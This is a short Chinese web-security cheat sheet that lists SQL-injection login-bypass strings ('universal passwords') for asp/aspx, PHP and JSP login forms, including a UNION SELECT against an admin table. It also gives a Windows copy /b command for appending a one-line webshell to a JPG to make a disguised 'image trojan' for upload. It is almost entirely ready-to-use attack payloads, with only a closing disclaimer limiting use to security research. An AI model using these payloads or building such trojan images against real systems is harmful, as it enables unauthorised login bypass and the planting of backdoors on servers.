Web安全--万能密码大全+图片马合成方法

万能密码大全：

asp、aspx、php、jsp万能密码大全。

asp、aspx 万能密码

"or "a"="a
 
')or('a'='a
 
or 1=1--
 
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
 
"or 1=1%00
'xor

PHP 万能密码：

'or 1=1/*
"' or '1'='1"
' or '1'='1
用户名 admin' or 'a'='a 密码随便
用户名 ' UNION Select 1,1,1 FROM admin Where ''=' （替换表名admin）
密码 1

jsp 万能密码：

1'or'1'='1
 
admin' or 1=1/*

图片马合成方法：

准备好普通图片和一句话木马文件放在同目录

然后在 cmd 窗口中使用命令合成

copy a.jpg /b + b.txt /a c.jpg

a.jpg 为图片 ， b.txt 为一句话 ， c.jpg 为生成图片马。

如果要分离的话，可以使用 winhex 或者 binwalk

就相当于打 CTF 解隐写题一样 !!

本文内容仅限用于安全研究，如有其他用途后果自负。